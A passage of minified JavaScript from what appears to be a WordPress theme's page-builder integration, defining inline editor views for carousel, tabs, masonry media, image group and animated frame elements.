'carousel-item', start: this.startSorting.bind(this), update: this.updateSorting.bind(this), stop: this.stopSorting.bind(this), } ); } }, startSorting: function(event, ui) { this.$el.addClass('lqd-carousel-sorting'); ui.placeholder.addClass('lqd-carousel-item-dragging'); ui.item.addClass('lqd-carousel-item-dragging hidden'); this.$el.find('.carousel-items').sortable('refreshPositions'); }, updateSorting: function(event, ui) { const childModels = vc.shortcodes.where({parent_id: this.model.get('id')}); childModels.forEach((childModel, index) => { const {id, view} = childModel; const shortcode = vc.shortcodes.get(id); shortcode.save({'order': view.$el.index()}, { silent: true }); }); }, stopSorting: function(event, ui) { this.$el.removeClass('lqd-carousel-sorting'); ui.placeholder.removeClass('lqd-carousel-item-dragging'); ui.item.removeClass('lqd-carousel-item-dragging hidden'); this.repositionCarousel(); }, initCarousel: function() { if ( ! this.getPluginData() ) { this.$carouselEl.liquidCarousel({bypassCheck: true, draggable: false}); } }, appendToCarousel: function($el) { const pluginData = this.getPluginData(); if ( pluginData && pluginData.flickityData && $el ) { pluginData.flickityData.append($el, true) } }, repositionCarousel: function() { const pluginData = this.getPluginData(); if ( pluginData && pluginData.flickityData ) { const {flickityData} = pluginData; flickityData.reloadCells(); flickityData.reposition(); }; }, resizeCarousel: function() { const pluginData = this.getPluginData(); if ( pluginData && pluginData.flickityData ) { const {flickityData} = pluginData; flickityData.resize(); }; }, removeCell: function($el) { if ( ! $el ) return; const pluginData = this.getPluginData(); if ( ! pluginData ) return; if ( pluginData.flickityData ) { const {flickityData} = pluginData; flickityData.remove($el); }; }, getPluginData: function() { return this.$carouselEl.data('plugin_liquidCarousel'); }, togglePlayPauseBtn: function() { const autoplay = this.model.getParam('autoplay'); const isMarquee = vc.shortcodes.get(this.model.get('id')).get('shortcode') === 'ld_carousel_marquee_tab'; if ( autoplay === 'yes' || isMarquee ) { this.$carouselControls.removeClass('playpause-hide'); } else if ( autoplay === '' ) { this.$carouselControls.addClass('playpause-hide'); } }, changeSlide: function(e) { e && e.preventDefault && e.preventDefault(); const $btn = $(e.currentTarget); const control = $btn.attr('data-vc-control'); const pluginData = this.getPluginData(); if ( ! pluginData || ! control ) return; if ( pluginData.flickityData ) { const {flickityData} = pluginData; flickityData[control](); }; }, controlPlayPause: function(e) { e && e.preventDefault && e.preventDefault(); const pluginData = this.getPluginData(); if ( ! pluginData ) return; if ( pluginData.flickityData ) { if ( pluginData.options.marquee ) { const isPaused = pluginData.marqueeIsPaused; isPaused ? pluginData.marqueePlay() : pluginData.marqueePause(); } else { pluginData.flickityData.player.state === 'playing' ? pluginData.flickityData.pausePlayer() : pluginData.flickityData.playPlayer(); } }; }, destroy: function(e) { e && e.preventDefault && e.preventDefault(); vc.frame_window.jQuery(this.getPluginData().carouselNavElement).remove(); window.InlineShortcodeView_ld_carousel_tab.__super__.destroy.call( this ); }, }); window.InlineShortcodeView_ld_carousel_marquee_tab = window.InlineShortcodeView_ld_carousel_tab.extend({ }); })( window.jQuery ); (function ( $ ) { 'use strict'; window.InlineShortcodeView_ld_carousel_section = window.InlineShortcodeViewContainerWithParent.extend({ events: { 'click > .vc_controls .vc_control-btn-delete': 'destroy', 'click > .vc_controls .vc_control-btn-edit': 'edit', 'click > .vc_controls .vc_control-btn-clone': 'clone', 'click > .vc_controls .vc_control-btn-prepend': 'prependElement', 'click > .vc_controls .vc_control-btn-append': 'appendElement', 'click > .vc_empty-element': 'appendElement', 'click > .vc_controls .vc_control-btn-switcher': 'switchControls', 'mouseenter': 'resetActive', 'mouseleave': 'holdActive' }, controls_selector: '#vc_controls-template-container-in', render: function() { window.InlineShortcodeView_ld_carousel_section.__super__.render.call(this); this.$el.addClass('carousel-item has-one-child'); if ( ! this.$el.children('.carousel-item-inner').children('.carousel-item-content').length ) { this.$el.children('.carousel-item-inner').wrapInner('<div class="carousel-item-content" />'); } _.bindAll(this, 'appendSection'); this.appendSection(); return this; }, allowAddControl: function() { return vc_user_access().shortcodeAll('ld_carousel_section'); }, destroy: function(e) { e && e.preventDefault && e.preventDefault(); const parentModel = vc.shortcodes.get(this.model.get('parent_id')) if ( parentModel.view ) { parentModel.view.removeCell(this.$el); } window.InlineShortcodeView_ld_carousel_section.__super__.destroy.call(this); }, changed: function() { window.InlineShortcodeView_ld_carousel_section.__super__.changed.call(this); _.defer(() => { const parentModel = vc.shortcodes.get(this.model.get('parent_id')) if ( parentModel.view ) { parentModel.view.resizeCarousel(); } }) }, appendSection: function() { const parentModel = vc.shortcodes.get(this.model.get('parent_id')) if ( parentModel.view ) { parentModel.view.appendToCarousel(this.$el); parentModel.view.repositionCarousel(); } } }); window.InlineShortcodeView_ld_carousel_marquee_section = window.InlineShortcodeView_ld_carousel_section.extend({ }); })( window.jQuery ); (function ($) { 'use strict'; window.InlineShortcodeView_ld_custom_menu = window.InlineShortcodeView.extend({ initialize: function() { window.InlineShortcodeView_ld_particles.__super__.initialize.call(this); _.bindAll(this, 'setID', 'checkAndRemoveExisting', 'addPlaceholder'); }, render: function() { window.InlineShortcodeView_ld_custom_menu.__super__.render.call(this); this.setID(); this.addPlaceholder(); vc.frame_window.vc_iframe.addActivity(() => { vc.frame_window.jQuery('[data-pin=true]', vc.frame_window.jQuery(this.el)).liquidPin(); vc.frame_window.jQuery('[data-move-element]', vc.frame_window.jQuery(this.el)).liquidMoveElement(); vc.frame_window.jQuery('[data-localscroll]', vc.frame_window.jQuery(this.el)).liquidLocalScroll(); vc.frame_window.jQuery('[data-inview]', vc.frame_window.jQuery(this.el)).liquidInView(); }); return this; }, beforeUpdate: function() { window.InlineShortcodeView_ld_particles.__super__.beforeUpdate.call(this); this.checkAndRemoveExisting(); }, updated: function() { this.addPlaceholder(); }, addPlaceholder: function() { if ( this.model.getParam('sticky') === 'yes' ) { this.$el.addClass('lqd-fe-show-placeholder'); } else { this.$el.removeClass('lqd-fe-show-placeholder'); } }, setID: function() { this.$el.children('.lqd-fancy-menu').attr('data-id', `lqd-fm-${this.model.get('id')}`); }, checkAndRemoveExisting: function() { const $existingEl = this.$el.closest('.vc_row').children('.pin-spacer'); if ( $existingEl.length && $existingEl.find(`[data-id="lqd-fm-${this.model.get('id')}"]`).length ) { $existingEl.remove(); } }, destroy(e) { e && e.preventDefault && e.preventDefault(); e && e.stopPropagation && e.stopPropagation(); this.checkAndRemoveExisting(); window.InlineShortcodeView_ld_particles.__super__.destroy.call(this); }, }); })(window.jQuery); (function ($) { 'use strict'; window.InlineShortcodeView_ld_images_group_container = window.InlineShortcodeViewContainer.extend({ childTag: 'ld_images_group_element', initialize: function() { window.InlineShortcodeView_ld_particles.__super__.initialize.call(this); _.bindAll(this, 'setID', 'checkAndRemoveExisting', 'addPlaceholder'); }, render: function() { // _.bindAll(this, 'buildSortable', 'updateSorting'); window.InlineShortcodeView_ld_images_group_container.__super__.render.call(this); this.setID(); this.addPlaceholder(); this.content().removeClass('vc_element-container'); vc.frame_window.vc_iframe.addActivity(() => { vc.frame_window.jQuery('[data-parallax]', vc.frame_window.jQuery(this.$el)).liquidParallax(); vc.frame_window.jQuery('[data-custom-animations]', vc.frame_window.jQuery(this.$el)).liquidCustomAnimations(); vc.frame_window.jQuery('[data-move-element]', vc.frame_window.jQuery(this.$el)).liquidMoveElement(); }); return this; }, addControls: function() { this.$controls = $( '<div class="no-controls"></div>' ); this.$controls.appendTo(this.$el); return this; }, changed: function() { window.InlineShortcodeView_ld_images_group_container.__super__.changed.call(this); // _.defer(this.buildSortable); }, updated: function() { window.InlineShortcodeView_ld_images_group_container.__super__.updated.call(this); this.addPlaceholder(); // _.defer(this.buildSortable); }, beforeUpdate: function() { window.InlineShortcodeView_ld_particles.__super__.beforeUpdate.call(this); this.checkAndRemoveExisting(); }, addElement: function(e) { if ( e && e.preventDefault ) { e.preventDefault(); } vc.builder.create({ shortcode: this.childTag, parent_id: this.model.get('id'), }).render(); }, addPlaceholder: function() { if ( this.model.getParam('move_to_parent_row') === 'yes' ) { this.$el.addClass('lqd-fe-show-placeholder'); } else { this.$el.removeClass('lqd-fe-show-placeholder'); } }, setID: function() { this.$el.children('.lqd-imggrp-container').attr('data-id', `lqd-fi-${this.model.get('id')}`); }, buildSortable: function() { vc_user_access().shortcodeEdit(this.model.get("shortcode")) && this.$el && this.$el.find(".lqd-imggrp-inner").sortable({ forcePlaceholderSize: !0, placeholder: "vc_placeholder-row", start: this.startSorting, over: function(event, ui) { ui.placeholder.css({ maxWidth: ui.placeholder.parent().width() }), ui.placeholder.removeClass("vc_hidden-placeholder") }, items: "> .vc_element", handle: ".vc_element .vc_element-move", update: this.updateSorting }) }, startSorting: function(event, ui) { ui.placeholder.width(ui.item.width()) }, updateSorting: function(event, ui) { this.$el.find('.lqd-imggrp-inner').find("> .vc_element").each(function() { const $this = $(this); const model_id = $this.data("modelId"); vc.shortcodes.get(model_id).save({ order: $this.index() }, { silent: !0 }) }); }, checkAndRemoveExisting: function() { const $existingEl = this.$el.closest('.vc_row').children(`[data-id="lqd-fi-${this.model.get('id')}"]`); if ( $existingEl.length ) { $existingEl.remove(); } }, destroy(e) { e && e.preventDefault && e.preventDefault(); e && e.stopPropagation && e.stopPropagation(); this.checkAndRemoveExisting(); window.InlineShortcodeView_ld_particles.__super__.destroy.call(this); }, }); })(window.jQuery); (function ($) { 'use strict'; window.InlineShortcodeView_ld_images_group_element = window.InlineShortcodeViewContainerWithParent.extend({ events: { 'click .lqd-imggrp-single > .vc_controls .vc_element .vc_control-btn-delete': 'destroy', 'click .lqd-imggrp-single > .vc_controls .vc_element .vc_control-btn-edit': 'edit', 'click .lqd-imggrp-single > .vc_controls .vc_element .vc_control-btn-clone': 'clone', 'click .lqd-imggrp-single > .vc_controls .vc_element .vc_control-btn-prepend': 'prependElement', 'click .lqd-imggrp-single > .vc_controls .vc_control-btn-append': 'appendElement', 'click .lqd-imggrp-single > .vc_controls .vc_parent .vc_control-btn-delete': 'destroyParent', 'click .lqd-imggrp-single > .vc_controls .vc_parent .vc_control-btn-edit': 'editParent', 'click .lqd-imggrp-single > .vc_controls .vc_parent .vc_control-btn-clone': 'cloneParent', 'click .lqd-imggrp-single > .vc_controls .vc_parent .vc_control-btn-prepend': 'addSibling', 'click .lqd-imggrp-single > .vc_controls .vc_parent .vc_control-btn-layout': 'changeLayout', 'click > .vc_empty-element > .lqd-imggrp-img-container': 'appendElement', 'click .lqd-imggrp-single > .vc_controls .vc_control-btn-switcher': 'switchControls' }, render: function() { window.InlineShortcodeView_ld_images_group_element.__super__.render.call(this); vc.frame_window.vc_iframe.addActivity(() => { vc.frame_window.jQuery('[data-parallax]', vc.frame_window.jQuery(this.$el)).liquidParallax(); vc.frame_window.jQuery('[data-inview]', vc.frame_window.jQuery(this.$el)).liquidInView(); vc.frame_window.jQuery('[data-hover3d]', vc.frame_window.jQuery(this.$el)).liquidHover3d(); vc.frame_window.jQuery('[data-reveal]', vc.frame_window.jQuery(this.$el)).liquidReveal(); }); return this; }, updated: function() { window.InlineShortcodeView_ld_images_group_element.__super__.updated.call(this); if ( this.model.getParam('image') !== '' ) { this.$el.children().removeClass('vc_empty-element'); } else { this.$el.children().addClass('vc_empty-element'); } }, changed: function() { window.InlineShortcodeView_ld_images_group_element.__super__.changed.call(this); if ( this.model.getParam('image') !== '' ) { this.$el.children().removeClass('vc_empty-element'); } else { this.$el.children().addClass('vc_empty-element'); } }, addControls: function() { window.InlineShortcodeView_ld_images_group_element.__super__.addControls.call(this); this.$controls.appendTo(this.$el.find('.lqd-imggrp-single')); }, destroy: function(e) { const parentId = this.model.get('parent_id'); window.InlineShortcodeView_ld_images_group_element.__super__.destroy.call(this, e); const parentModel = vc.shortcodes.get(parentId); if ( !vc.shortcodes.where({ parent_id: parentId }).length && parentModel.get('shortcode') === 'ld_images_group_container' ) { parentModel.destroy(); } }, }); })(window.jQuery); (function ($) { vc.events.on('shortcodeView:ready shortcodeView:updated', () => { if ( vc.frame_window.liquidLazyload ) { vc.frame_window.liquidLazyload.update(); } }); vc.events.on( `shortcodeView:ready:vc_row shortcodeView:updated:vc_row shortcodeView:ready:vc_row_inner shortcodeView:updated:vc_row_inner shortcodeView:ready:vc_column shortcodeView:updated:vc_column shortcodeView:ready:vc_column_inner shortcodeView:updated:vc_column_inner`, model => { if ( ! model.view ) return; const $el = model.view.$el; $('[data-row-bg]:not([data-slideshow-bg])', vc.frame_window.jQuery($el)).liquidRowBG(); }); })(window.jQuery); (function($) { 'use strict'; window.InlineShortcodeView_ld_tabs = window.InlineShortcodeViewContainer.extend( { defaultSectionTitle: window.i18nLocale.tab, childTag: 'ld_tab_section', events: {}, render: function() { window.InlineShortcodeView_ld_tabs.__super__.render.call(this); _.bindAll( this, 'createTabs', 'sectionUpdated', 'buildSortableNavigation', 'updateSortingNavigation', 'removeLiStyles', 'updatePanelsPositions', 'initTabs' ); this.createTabs(); _.defer(this.buildSortableNavigation); this.initTabs(); this.content().removeClass('vc_element-container'); return this; }, addControls: function() { this.$controls = $( '<div class="no-controls"></div>' ); this.$controls.appendTo(this.$el); return this; }, content: function () { if ( ! this.$content ) { this.$content = this.$el.find('.lqd-tabs-content'); this.$el.find('.vc_container-anchor:first').remove(); } return this.$content; }, addElement: function(e) { if ( e && e.preventDefault ) { e.preventDefault(); } vc.builder.create({ shortcode: this.childTag, parent_id: this.model.get('id'), params: { title: window.i18nLocale.tab } }).render(); }, changed: function () { if ( this.allowAddControlOnEmpty() ) { if ( ! this.$el.find( '.vc_element[data-tag]' ).length ) { this.$el.addClass('vc_empty').find('.lqd-tabs-content').addClass('vc_empty-element'); } else { this.$el.removeClass('vc_empty').find('.lqd-tabs-content').removeClass('vc_empty-element'); } } }, createTabs: function() { var models = _.sortBy( vc.shortcodes.where({ parent_id: this.model.get('id') }), model => model.get( 'order' ) ); _.each( models, model => {this.sectionUpdated( model, true )}, this ); }, sectionUpdated: function(model, justAppend) { const tabStyle = this.model.getParam('style'); const sectionId = model.get('id'); const $navigation = this.$el.find('.lqd-tabs-nav'); const tabPaneId = model.getParam('tab_id'); const title = model.getParam( 'title' ); const description = model.getParam('desc'); const $tabEl = $navigation.find(`[data-controls=${tabPaneId}]`); const htmlTemplate = vc.frame_window.jQuery(`script[data-lqd-tab-nav-style=${tabStyle}]`).html(); const template = _.template(htmlTemplate); let tabAdded = false; let icon; switch (model.get('params').i_type) { case 'fontawesome': icon = model.get('params')['i_icon_fontawesome']; break; case 'linea': icon = model.get('params')['i_icon_linea']; break; default: icon = ''; break; }; const $navLi = $(template({href: `#${tabPaneId}`, aria_controls: tabPaneId, section_id: sectionId, icon_class: icon, title, description})); if ( $tabEl.length ) { $tabEl.html( $navLi.children() ); } else { if ( ! justAppend ) { const models = _.pluck( _.sortBy( vc.shortcodes.where({ parent_id: this.model.get('id') }), childModel => childModel.get('order') ), 'id' ); const index = models.indexOf( model.get( 'id' ) ) - 1; if ( index > - 1 && $navigation.find( 'li:eq(' + index + ')' ).length ) { $navLi.insertAfter( $navigation.find( 'li:eq(' + index + ')' ) ); tabAdded = true; } } if ( !tabAdded ) { $navLi.appendTo($navigation); } } return this; }, buildSortableNavigation: function() { if ( !vc_user_access().shortcodeEdit( this.model.get( 'shortcode' ) ) ) { return; } const $navigation = this.$el.find('.lqd-tabs-nav'); $navigation.sortable( { items: '> li', forcePlaceholderSize: true, placeholder: 'vc_placeholder-tta-tab', helper: this.renderSortingHelper, start: function( event, ui ) { ui.placeholder.width( ui.item.width() ); }, over: function(event, ui) { ui.placeholder.css( { maxWidth: ui.placeholder.parent().width() } ); ui.placeholder.removeClass( 'vc_hidden-placeholder' ); }, stop: this.removeLiStyles, update: this.updateSortingNavigation } ); }, removeLiStyles: function(event, ui) { ui.item.removeAttr('style'); }, updateSortingNavigation: function(event, ui) { const $tabs = this.$el.find('.lqd-tabs-nav'); $tabs.find('> li').each((i, li) => { const $li = $(li); const modelId = this.$el.find($li.children().attr('href')).parent().data('model-id'); const shortcode = vc.shortcodes.get( modelId ); shortcode.save( { 'order': $li.index() }, {silent: true} ); } ); this.removeLiStyles(event, ui); this.updatePanelsPositions($tabs); }, updatePanelsPositions: function($tabs) { const $panels = this.$el.find('.lqd-tabs-content'); const $elements = []; const tabSortableData = $tabs.sortable( 'toArray', { attribute: 'data-controls' } ); _.each( tabSortableData, function(value) { $elements.push( $panels.find(`#${value}`).parent()); }, this ); $panels.prepend($elements); }, renderSortingHelper: function(event, currentItem) { const helper = currentItem; const currentItemWidth = currentItem.width() + 1; const currentItemHeight = currentItem.height(); helper.width( currentItemWidth ); helper.height( currentItemHeight ); return helper; }, getNextTab: function($viewTab) { const $navigationSections = this.$el.find('.lqd-tabs-nav').children(); const lastIndex = $navigationSections.length - 1; const viewTabIndex = $viewTab.index(); let $nextTab; if ( viewTabIndex !== lastIndex ) { $nextTab = $navigationSections.eq( viewTabIndex + 1 ); } else { $nextTab = $navigationSections.eq( viewTabIndex - 1 ); } return $nextTab; }, removeSection: function(modelId) { const $sectionEl = vc.shortcodes.get(modelId).view.$el; const $tabPane = $sectionEl.children('.lqd-tabs-pane'); const tabPaneId = $tabPane.attr('id'); const $viewTab = this.$el.find(`[data-controls=${tabPaneId}]`); const tabIsActive = $viewTab.hasClass('active'); if ( tabIsActive ) { const $nextTab = this.getNextTab($viewTab); vc.frame_window.jQuery($nextTab).find('a').trigger('click'); } $viewTab.remove(); }, initTabs: function() { window.vc.frame_window.vc_iframe.addActivity(() => { vc.frame_window.jQuery(this.$el.find('.lqd-tabs')).liquidTab(); }) } } ); })( window.jQuery ); (function ( $ ) { 'use strict'; window.vc.lqdSectionActiveOnClone = false; window.InlineShortcodeView_ld_tab_section = window.InlineShortcodeViewContainerWithParent.extend( { events: { 'click > .vc_controls [data-vc-control="destroy"]': 'destroy', 'click > .vc_controls [data-vc-control="edit"]': 'edit', 'click > .vc_controls [data-vc-control="clone"]': 'clone', 'click > .vc_controls [data-vc-control="prepend"]': 'prependElement', 'click > .vc_controls [data-vc-control="append"]': 'appendElement', 'click > .vc_controls [data-vc-control="parent.destroy"]': 'destroyParent', 'click > .vc_controls [data-vc-control="parent.edit"]': 'editParent', 'click > .vc_controls [data-vc-control="parent.clone"]': 'cloneParent', 'click > .vc_controls [data-vc-control="parent.append"]': 'addSibling', 'click .lqd-panel-body > [data-js-panel-body].vc_empty-element': 'appendElement', 'click > .vc_controls .vc_control-btn-switcher': 'switchControls', 'mouseenter': 'resetActive', 'mouseleave': 'holdActive' }, controls_selector: '#vc_controls-template-vc_tta_section', activeClass: 'active in', render: function () { window.InlineShortcodeView_ld_tab_section.__super__.render.call(this); _.bindAll(this, 'refreshContent', 'initTabs', 'activeTab'); this.refreshContent(); _.defer(this.initTabs); window.vc.frame_window.vc_iframe.addActivity(this.activeTab); return this; }, allowAddControl: function () { return vc_user_access().shortcodeAll('ld_tab_section'); }, addSibling: function (e) { window.InlineShortcodeView_ld_tab_section.__super__.addSibling.call(this, e); }, clone: function (e) { vc.lqdSectionActiveOnClone = true; window.InlineShortcodeView_ld_tab_section.__super__.clone.call(this, e); }, parentChanged: function () { window.InlineShortcodeView_ld_tab_section.__super__.parentChanged.call(this); this.refreshContent(true); this.activeTab(); return this; }, refreshContent: function(noSectionUpdate) { const parentModel = vc.shortcodes.get( this.model.get('parent_id') ); if ( _.isObject(parentModel) && ! noSectionUpdate && parentModel.view && parentModel.view.sectionUpdated ) { parentModel.view.sectionUpdated( this.model ); } return this; }, changed: function() { if ( this.allowAddControlOnEmpty() && ! this.$el.find('.vc_element[data-tag]').length ) { this.$el.addClass('vc_empty').find('.lqd-panel-body > [data-js-panel-body]').addClass('vc_empty-element'); } else { this.$el.removeClass('vc_empty').find('.lqd-panel-body > [data-js-panel-body].vc_empty-element').removeClass('vc_empty-element'); } }, destroy: function(e) { const parentId = this.model.get('parent_id'); const parentModel = vc.shortcodes.get(parentId); if ( !vc.shortcodes.where( { parent_id: parentId } ).length ) { parentModel.destroy(); } else { if ( parentModel.view && parentModel.view.removeSection ) { parentModel.view.removeSection(this.model.get('id') ); } } window.InlineShortcodeView_ld_tab_section.__super__.destroy.call(this, e); }, setAsActiveSection: function(isActive) { this.model.set('isActiveSection', isActive); }, isAsActiveSection: function() { return this.model.get('isActiveSection'); }, initTabs: function() { const $tabPane = vc.frame_window.jQuery(this.$el).children('.lqd-tabs-pane'); const tabPaneId = $tabPane.attr('id'); const $liEl = vc.frame_window.jQuery(`[data-controls=${tabPaneId}]`); vc.frame_window.jQuery($liEl.children('a')).on('shown.bs.tab hidden.bs.tab', ev => { this.setAsActiveSection(ev.type === 'shown'); }); }, activeTab: function() { if ( this.isAsActiveSection() ) { const tabId = this.model.getParam('tab_id'); const $trigger = window.vc.frame_window.jQuery(`[data-controls=${tabId}] > a`); const $tabPane = window.vc.frame_window.jQuery(`#${tabId}`); $trigger.trigger('click'); $tabPane.addClass(this.activeClass); } } } ); function lqdMapChildEvents( model ) { var child_tag = 'ld_tab_section'; window.vc.events.on(`shortcodes:${child_tag}:add:parent:${model.get('id')}`, model => { const parent_model = window.vc.shortcodes.get( model.get( 'parent_id' ) ); let active_tab_index = 1; const models = _.pluck( _.sortBy( window.vc.shortcodes.where({parent_id: parent_model.get('id')}), model => model.get('order') ), 'id' ); if ( models.indexOf( model.get('id') ) === active_tab_index - 1 ) { model.set( 'isActiveSection', true ); } return model; }); window.vc.events.on(`shortcodes:${child_tag}:clone:parent:${model.get('id')}`, model => { if ( window.vc.lqdSectionActiveOnClone ) { model.set( 'isActiveSection', true ); } window.vc.lqdSectionActiveOnClone = false; }); } window.vc.events.on( 'shortcodes:ld_tabs:add', lqdMapChildEvents ); })( window.jQuery ); (function ($) { 'use strict'; window.InlineShortcodeView_ld_media = window.InlineShortcodeViewContainer.extend({ childTag: 'ld_media_element', // initialize: function() { // _.bindAll(this, 'buildSortable', 'updateSorting'); // window.InlineShortcodeView_ld_media.__super__.initialize.call(this); // }, render: function() { window.InlineShortcodeView_ld_media.__super__.render.call(this); this.content().removeClass('vc_element-container'); _.bindAll(this, 'initMasonry', 'addMasonryItem', 'layoutMasonry', 'reloadItems', 'removeMasonryItem', 'getPluginData'); this.$masonryEl = vc.frame_window.jQuery(this.$el).find('[data-liquid-masonry]'); this.$customAnimationEl = vc.frame_window.jQuery(this.$el).find('[data-custom-animations]'); vc.frame_window.vc_iframe.addActivity(this.initMasonry); return this; }, addControls: function() { this.$controls = $( '<div class="no-controls"></div>' ); this.$controls.appendTo(this.$el); return this; }, parentChanged: function() { window.InlineShortcodeView_ld_media.__super__.parentChanged.call( this ); _.defer( this.layoutMasonry ); }, changed: function() { window.InlineShortcodeView_ld_media.__super__.changed.call( this ); // _.defer( this.buildSortable ); }, updated: function() { window.InlineShortcodeView_ld_media.__super__.updated.call( this ); _.defer( this.layoutMasonry ); // _.defer( this.buildSortable ); }, initMasonry: function() { this.$customAnimationEl.liquidCustomAnimations(); if ( ! this.getPluginData() ) { this.$masonryEl.liquidMasonry({bypassCheck: true, itemSelector: '.vc_ld_media_element'}); } }, addElement: function(e) { if ( e && e.preventDefault ) { e.preventDefault(); } vc.builder.create({ shortcode: this.childTag, parent_id: this.model.get('id'), }).render(); }, buildSortable: function() { if ( ! vc_user_access().shortcodeEdit(this.model.get('shortcode')) ) { return; } if ( this.$el ) { this.$el.find('.ld-media-row').sortable( { tolerance: "pointer", placeholder: 'vc_ld_media_element', items: '.vc_ld_media_element', handle: '.vc_child-element-move', start: this.startSorting.bind(this), update: this.updateSorting.bind(this), stop: this.stopSorting.bind(this), } ); } }, startSorting: function(event, ui) { this.$el.addClass('lqd-masonry-sorting'); this.$el.find('.ld-media-row').sortable('refreshPositions'); }, updateSorting: function(event, ui) { const childModels = vc.shortcodes.where({parent_id: this.model.get('id')}); childModels.forEach((childModel, index) => { const {id, view} = childModel; const shortcode = vc.shortcodes.get(id); shortcode.save({'order': view.$el.index()}, { silent: true }); }); }, stopSorting: function(event, ui) { this.$el.removeClass('lqd-masonry-sorting'); this.reloadItems(); }, addMasonryItem: function($el) { const pluginData = this.getPluginData(); if ( pluginData && pluginData.isoData && $el ) { pluginData.isoData.appended($el) } }, layoutMasonry: function() { const pluginData = this.getPluginData(); if ( pluginData && pluginData.isoData ) { const {isoData} = pluginData; isoData.layout(); }; }, reloadItems: function() { const pluginData = this.getPluginData(); if ( pluginData && pluginData.isoData ) { const {isoData} = pluginData; isoData.reloadItems(); }; }, removeMasonryItem: function($el) { if ( ! $el ) return; const pluginData = this.getPluginData(); if ( ! pluginData ) return; if ( pluginData && pluginData.isoData ) { const {isoData} = pluginData; isoData.remove($el); }; }, getPluginData: function() { return this.$masonryEl.data('plugin_liquidMasonry'); }, }); })(window.jQuery); (function ($) { 'use strict'; window.InlineShortcodeView_ld_media_element = window.InlineShortcodeView_vc_column.extend({ events: { 'click > .vc_controls [data-vc-control="destroy"]': 'destroy', 'click > .vc_controls [data-vc-control="edit"]': 'edit', 'click > .vc_controls [data-vc-control="clone"]': 'clone', 'click > .vc_controls [data-vc-control="prepend"]': 'prependElement', 'click > .vc_controls [data-vc-control="append"]': 'appendElement', 'click > .vc_controls [data-vc-control="parent.destroy"]': 'destroyParent', 'click > .vc_controls [data-vc-control="parent.edit"]': 'editParent', 'click > .vc_controls [data-vc-control="parent.clone"]': 'cloneParent', 'click > .vc_controls [data-vc-control="parent.append"]': 'addSibling', 'click > .vc_empty-element': 'edit', 'click > .vc_controls .vc_control-btn-switcher': 'switchControls', 'mouseenter': 'resetActive', 'mouseleave': 'holdActive' }, controls_selector: '#vc_controls-template-vc_tta_section', render: function() { window.InlineShortcodeView_ld_media_element.__super__.render.call(this); _.bindAll(this, 'appendItem'); this.appendItem(); return this; }, changed: function() { window.InlineShortcodeView_ld_media_element.__super__.changed.call(this); _.defer(() => { const parentModel = vc.shortcodes.get(this.model.get('parent_id')) if ( parentModel.view ) { parentModel.view.layoutMasonry(); } }) }, appendItem: function() { const parentModel = vc.shortcodes.get(this.model.get('parent_id')) if ( parentModel.view ) { parentModel.view.addMasonryItem(this.$el); // parentModel.view.layoutMasonry(); } }, destroy: function(e) { e && e.preventDefault && e.preventDefault(); const parentModel = vc.shortcodes.get(this.model.get('parent_id')) if ( parentModel.view ) { parentModel.view.removeMasonryItem(this.$el); parentModel.view.layoutMasonry(); } window.InlineShortcodeView_ld_images_group_element.__super__.destroy.call(this, e); }, }); })(window.jQuery); (function ($) { 'use strict'; window.InlineShortcodeView_ld_animated_frames_container = window.InlineShortcodeViewContainer.extend({ childTag: 'ld_animated_frame', render: function() { window.InlineShortcodeView_ld_animated_frames_container.__super__.render.call(this); const frames = vc.shortcodes.where({parent_id: this.model.get('id')}); vc.frame_window.vc_iframe.addActivity(() => { vc.frame_window.jQuery('[data-liquid-animatedframes]', vc.frame_window.jQuery(this.$el)).liquidAnimatedFrames({current: frames.length - 1}); vc.frame_window.jQuery('[data-lqd-fake3d]', vc.frame_window.jQuery(this.$el)).liquidFake3d(); }); return this; }, addControls: function() { this.$controls = $( '<div class="no-controls"></div>' ); this.$controls.appendTo(this.$el); return this; }, addElement: function(e) { if ( e && e.preventDefault ) { e.preventDefault(); } vc.builder.create({ shortcode: this.childTag, parent_id: this.model.get('id'), params: { title: 'Frame', content: 'Lorem ipsum dolor sit amet, consectetur adipisicing elit.' } }).render(); } }); })(window.jQuery); (function ($) { 'use strict'; window.InlineShortcodeView_ld_animated_frame = window.InlineShortcodeView_vc_column.extend({ events: { 'click .lqd-af-slide__img > .vc_controls [data-vc-control="destroy"]': 'destroy', 'click .lqd-af-slide__img > .vc_controls [data-vc-control="edit"]': 'edit', 'click .lqd-af-slide__img > .vc_controls [data-vc-control="clone"]': 'clone', 'click .lqd-af-slide__img > .vc_controls [data-vc-control="prepend"]': 'prependElement', 'click .lqd-af-slide__img > .vc_controls [data-vc-control="append"]': 'appendElement', 'click .lqd-af-slide__img > .vc_controls [data-vc-control="parent.destroy"]': 'destroyParent', 'click .lqd-af-slide__img > .vc_controls [data-vc-control="parent.edit"]': 'editParent', 'click .lqd-af-slide__img > .vc_controls [data-vc-control="parent.clone"]': 'cloneParent', 'click .lqd-af-slide__img > .vc_controls [data-vc-control="parent.append"]': 'addSibling', // 'click .lqd-panel-body > [data-js-panel-body].vc_empty-element': 'appendElement', 'click .lqd-af-slide__img > .vc_controls .vc_control-btn-switcher': 'switchControls', 'mouseenter': 'resetActive', 'mouseleave': 'holdActive' }, controls_selector: '#vc_controls-template-vc_tta_section', initialize: function() { window.InlineShortcodeView_ld_animated_frame.__super__.initialize.call(this); _.bindAll(this, 'getFrameIndex', 'activeFrame'); this.frameIndex = this.getFrameIndex(); }, render: function() { window.InlineShortcodeView_ld_animated_frame.__super__.render.call(this); _.bindAll(this, 'appendToAnimatedFrames'); _.defer(this.appendToAnimatedFrames); vc.frame_window.vc_iframe.addActivity(() => { vc.frame_window.jQuery('[data-split-text]', vc.frame_window.jQuery(this.$el)).liquidSplitText(); }); return this; }, addControls: function() { window.InlineShortcodeView_ld_images_group_element.__super__.addControls.call(this); this.$controls.appendTo(this.$el.find('.lqd-af-slide__img')); }, getFrameIndex: function() { return _.indexOf( vc.shortcodes.where({parent_id: this.model.get('parent_id')}), this.model ); }, appendToAnimatedFrames: function() { const parentModel = vc.shortcodes.get(this.model.get('parent_id')); const $animateFrameEl = vc.frame_window.jQuery(parentModel.view.$el.children('[data-liquid-animatedframes]')) if ( $animateFrameEl.length && $animateFrameEl.data('plugin_liquidAnimatedFrames') ) { const pluginData = $animateFrameEl.data('plugin_liquidAnimatedFrames'); let elInArray = false; _.each(pluginData.DOM.slides, slide => { if ( $(slide).is(this.el) ) return elInArray = true; }) if ( !elInArray ) { pluginData.DOM.slides.push(this.el); pluginData.slidesTotal = ++pluginData.slidesTotal; } } }, updated: function() { 